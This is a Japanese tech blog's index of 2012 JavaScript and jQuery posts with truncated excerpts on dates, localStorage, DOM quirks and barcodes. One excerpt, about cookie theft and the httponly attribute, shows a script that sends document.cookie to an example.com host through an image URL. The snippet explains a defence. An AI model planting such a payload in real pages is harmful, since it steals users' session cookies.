Category / JavaScript
【Javascript】今日の0時0分0秒の日付計算
2012-09-06 問題 “今（2012-09-06 09:04:30）”じゃなくて、今日（0時0分0秒）＝2012-09-06 00:00:00 を、Javascriptで取得したい。 解答例 1 //今（Thu […]
【Javascript】localStrageに値を格納するとき
2012-08-18 問題 localStrageにオブジェクトを格納したいのに、localStrageには文字列しか入らない環境が結構あるらしい。 オブジェクトを格納しようとしたら”[object Object]”に […]
【Javascript】 in演算子
2012-08-09 問題 inって演算子なんですか。 答え in単体だと演算子です（for-inのはそういう”構文”）。 あまり見かけないけど、こういう書き方ができる。 Example if ("xxx" in ob […]
jquery.ui.datepicker.jsに最小限の手を加えて年月選択UIを作る
2012-07-31 日付入力、カレンダー入力をしたいときは jquery.ui.datepicker.js。 では、年月入力ができる機能が欲しいときはどうしましょう。 → jquery.ui.ympicker.js デモ 今回は、jquer […]
ゲームを作ってみよう。
2012-07-29 …といっても今流行(?)のソーシャルゲームみたいなものではなく、昔からよくあるようなものです。 jQueryじゃないと書けない、というものではないですが気軽に書くことができますよ, ルール： マスをクリックすると、クリッ […]
【Javascript】a要素のpathnameがIEとIE以外で違う
2012-07-25 問題 以下のようなa要素について、 <a href="https://www.softel.co.jp/blogs/tech/">あるリンク</a> a要素.pathnameプロパティを参照すると […]
【jQuery】triggerしたイベントを引数で区別する
2012-07-20 $.trigger()は引数を持たせることができます。 通常の使い方。 $(function(){ $(document).on("BUTTONCLICK",function(){ alert("クリックされました"); […]
Javascriptでバーコードを読む
2012-07-18 問題 Javascriptで画面上のバーコード画像からデータを読めますか？ 答え canvasに流し込んでビットマップを解析～の流れのようです。 思ったより簡単そうに見える実装で、白黒がきれいに判断できて、きれいに横を向 […]
【Javascript】phpのparse_url関数のようなことをJavascriptでやりたい
2012-07-16 問題 phpはURL文字列を部分ごとに分割してくれる関数がありますよね。Javascriptでも簡単にできますか？ parse_url — URL を解釈し、その構成要素を返す example <?php $url […]
【Javascript】いいね！ボタンやツイートボタンのスクリプトを外部jsに出す
2012-07-01 問題 Google+ボタンや、いいね！ボタンや、ツイートボタンやはてなブックマークボタンのJavascriptは、HTML下部にしか書けないのかな？ <script type="text/javascript" s […]
【JavaScript】エラーをalertで出すこと
2012-06-24 よく見かけるalertでのエラー表示、 //... if ("エラーがあったら") { alert("エラーです！"); return false; } //... 最近のブラウザは、alertが連続すると下の画像のよう […]
Cookieを盗む例とhttponly属性
2012-06-20 以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '"&g […]
【jQuery】バーコードの「NW-7」を表示するjqueryプラグイン
2012-06-18 バーコードの[NW-7]を描くjqueryプラグインを作ってみました。 NW-7のバーコードにしたい「スタートコード（A～D）、0123456789-$/:+.からなる文字列、ストップコード（A～D）」の文字列を、pやd […]
script要素にsrc属性とインラインスクリプトの両方があると？
2012-06-14 問題 これは普通ですよね。 <script type='text/javascript' src='/path/to/script.js'></script> <script type='t […]
【Javascript】onclick=”javascript: ～～” って意味あるの？
2012-06-12 問題 古いプログラムに、こんな記述を見つけました。 この「javascript:」に、意味はあるのでしょうか？？？ あっても動くし、なくても動くし…… <select onchange="javascript: s […]
HTML5ではフォームのコントロールの名前を変えても以前の名前で参照できるのが正しい
2012-06-08 問題のデモ IEでは動かないと思います。 ↓あるinput要素 ↓ボタンクリック: alert(document.forms[‘f20120608’][‘i20120608’ […]
【Javascript】DOM0とDOM1を混ぜると危険？
2012-06-07 問題 こんなことがあってびっくりしました。 １、フォーム中のあるinput要素をnameで参照する（DOM0な操作） → 参照できる ２、フォーム中のあるinput要素をremoveChild()した（DOM1な操作） […]
【Javascript】removeChild は 削除ではない
2012-06-06 問題 親要素.removeChild(子ノード) したら、きれいに消えるんだよねっ♪ 答え DOMツリーから除去されただけで、消えていない。メモリ内に存在する。 MDNのリファレンスなどにはばっちり書いてある。 概要 r […]
jqueryでチェックボックスを扱うときメモ
2012-06-01 ※jquery1.6付近でいろいろありましたが、jquery1.6.1以降で。 チェックする $('.myCheckbox').prop('checked', true) チェックをはずす $('.myCheckbox' […]
【Javascript】テキストエリアの文字列のバイト数を数える
2012-05-27 問題 Javascriptで、テキストエリアに入力した文字列のバイト数を数えてください。 答え demo テキストエリアの文字列のバイト数は バイトです。 source <textarea onkeyup=&quo […]